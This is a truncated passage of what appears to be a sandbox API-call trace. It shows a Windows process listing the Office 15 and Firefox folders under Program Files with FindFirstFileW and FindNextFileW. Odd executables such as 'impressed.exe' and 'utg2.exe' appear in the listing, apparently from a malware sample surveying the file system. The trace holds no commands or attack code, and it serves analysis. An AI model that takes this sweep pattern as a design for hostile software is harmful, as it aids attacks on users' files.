returned 1 [0236.543] GetProcessHeap () returned 0xc10000 [0236.543] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0236.544] GetProcessHeap () returned 0xc10000 [0236.544] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0236.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8e41203, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e41203, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0236.546] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 1 [0236.546] GetProcessHeap () returned 0xc10000 [0236.546] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office 15\\ClientX64\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0236.547] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.547] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0236.547] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0236.547] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 0 [0236.547] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0236.547] GetProcessHeap () returned 0xc10000 [0236.547] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0236.547] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b79090, ftCreationTime.dwHighDateTime=0x1d5715e, ftLastAccessTime.dwLowDateTime=0xcc15d3c0, ftLastAccessTime.dwHighDateTime=0x1d5cb37, ftLastWriteTime.dwLowDateTime=0xcc15d3c0, ftLastWriteTime.dwHighDateTime=0x1d5cb37, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="impressed.exe", cAlternateFileName="IMPRES~1.EXE")) returned 1 [0236.548] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20c5100, ftCreationTime.dwHighDateTime=0x1d5b27f, ftLastAccessTime.dwLowDateTime=0x71b8e690, ftLastAccessTime.dwHighDateTime=0x1d5ccce, ftLastWriteTime.dwLowDateTime=0x71b8e690, ftLastWriteTime.dwHighDateTime=0x1d5ccce, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0236.548] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20c5100, ftCreationTime.dwHighDateTime=0x1d5b27f, ftLastAccessTime.dwLowDateTime=0x71b8e690, ftLastAccessTime.dwHighDateTime=0x1d5ccce, ftLastWriteTime.dwLowDateTime=0x71b8e690, ftLastWriteTime.dwHighDateTime=0x1d5ccce, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 0 [0236.548] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0236.549] GetProcessHeap () returned 0xc10000 [0236.549] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0236.549] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0236.549] GetProcessHeap () returned 0xc10000 [0236.549] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0236.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0236.560] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9eac3a9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9eac3a9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf3efc600, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Accessible.tlb", cAlternateFileName="ACCESS~1.TLB")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae059bd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae059bd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x72516580, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1f1d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AccessibleHandler.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73829280, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x73d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~2.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x56c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="AP87F4~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae9e352, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae9e352, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="AP4F63~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="AP26B7~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="AP40C7~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="APD0F3~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="AP25B1~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="AP8526~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="AP507A~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="APEF2A~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="AP5574~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="APDC30~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="AP743F~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="AP7678~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="APFAD9~1.DLL")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafa93fe, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafa93fe, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="APF2DB~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", 